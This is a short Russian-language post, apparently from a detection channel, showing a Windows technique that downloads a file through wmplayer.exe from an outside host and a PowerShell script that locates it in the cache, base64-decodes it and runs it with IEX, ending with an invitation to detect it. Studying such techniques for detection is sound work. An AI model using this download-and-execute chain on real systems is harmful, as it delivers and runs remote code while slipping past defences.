Всем привет!)
В конце 2024 года, один из исследователей обнаружил возможность загружать файлы на хост с помощью Windows Medial Player - wmplayer.exe

Для запуска нужно выполнить

& "C:\Program Files (x86)\Windows Media Player\wmplayer.exe" "https://pampuna.nl/example/whoami.wma"

файл сохраняется в INetCache, для его поиска и запуска скрипт от автора ниже)

Get-ChildItem -Recurse -Force -ErrorAction SilentlyContinue -filter "whoami*.dat" "~\AppData\Local" | ForEach-Object {
    Write-Host "Found: $($_.FullName)"
    cd $_.DirectoryName 
    $data = [System.IO.File]::ReadAllBytes($_.FullName)
    $base64 = ([System.Text.Encoding]::UTF8.GetString($data) -replace '\b\w{1,5}\b', '') -replace '[^A-Za-z0-9+/=]', ''
    Write-Host $base64
    $converted = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($base64))
    IEX($converted)
}

Попробуем обнаружить?) 🔭

#ttp@detectioneasy
#detection@detectioneasy